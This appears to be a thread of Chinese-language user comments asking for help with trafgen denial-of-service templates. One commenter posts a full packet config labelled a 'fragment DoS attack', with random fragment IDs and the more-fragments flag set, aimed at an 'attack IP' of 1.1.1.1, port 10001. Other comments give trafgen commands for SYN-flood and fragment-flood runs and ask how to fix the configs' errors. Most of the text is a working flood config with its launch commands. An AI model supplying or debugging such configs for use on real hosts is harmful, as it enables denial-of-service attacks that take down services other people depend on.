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选择了syn 但为啥都是ack 呢

command ： trafgen --cpp --dev eth0 --conf synflood.trafgen --cpu 2 --verbose

在使用你的模板去运行trafgen --cpp --dev em2 --conf synflood.trafgen --verbose 的时候，会出现错误
trafgen: unrecognized option '--cpp'，请问一下你的trafgen版本是多少

运行的时候提示：Cannot detect the transfer mode这个是什么原因？

假设攻击ip为1.1.1.1 端口为10001
`

• Command example:
• trafgen --cpp --dev em2 --conf small_frag.trafgen --verbose
• Note: dynamic elements "drnd()" make trafgen slower
  */
  // trafgen packet conf for fragment DoS attack
  // -------------------------------------------
  // - Need to randomize the frag ID
  // - Use trafgen support for dynamic checksum recalc
  //
  // Checksum cannot be fixed with iptables:
  // iptables -t mangle -I POSTROUTING -d 192.168.51.2 -j CHECKSUM --checksum-fill
  // Because traffic is injected a place which don't have any NF hooks
  //

{
// --- Ethernet Header ---
0x00, 0x1b, 0x21, 0x3c, 0x9d, 0xf8, // MAC Destination
0x90, 0xe2, 0xba, 0x0a, 0x56, 0xb4, // MAC Source
const16(0x0800), // Protocol

// --- IP Header ---
// IPv4 Version(4-bit) + IHL(4-bit), TOS
0b01000101, 0x00,
// IPv4 Total Len
const16(40),

// ID, notice runtime dynamic random
drnd(2),

// IPv4 3-bit flags + 13-bit fragment offset
// 001 = More fragments
0b00100000, 0b00000000,

64, //TTL
17, // Proto UDP

// Dynamic IP Checksum (notice offsets are zero indexed)
csumip(14, 33),

192, 168, 51, 1, // Source IP
1, 1, 1, 1, // Dest IP

// --- UDP Header ---
// As this is a fragment the below stuff does not matter too much
const16(48054), // src port
const16(10001), // dst port
const16(20), // UDP length

// UDP checksum can be dyn calc via csumudp(offset IP, offset TCP)
// which is csumudp(14, 34), but for UDP its allowed to be zero
const16(0),

// Payload
'A', fill(0x41, 11),
}`

大佬请问是这样改的吗
感激不尽

总是报配置文件这个地方错误。
报错信息：Syntax error at line7, at char 'E'! syntax error, unexpected number!
对应的配置文件错误行：const16(ETH_P_IP),